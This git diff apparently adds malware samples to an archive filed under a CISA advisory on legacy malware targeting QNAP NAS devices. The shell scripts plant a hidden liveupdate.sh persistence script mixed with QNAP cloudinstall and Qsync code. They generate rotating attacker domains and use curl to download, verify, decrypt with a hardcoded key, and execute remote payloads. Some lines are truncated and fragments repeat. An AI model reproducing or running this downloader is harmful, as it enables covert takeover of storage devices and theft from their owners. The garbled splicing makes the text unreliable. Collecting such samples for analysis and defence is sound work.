-salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 new file mode 100644 index 0000000..87bd4d2 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 @@ -0,0 +1,568 @@ +#!/bin/sh +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof 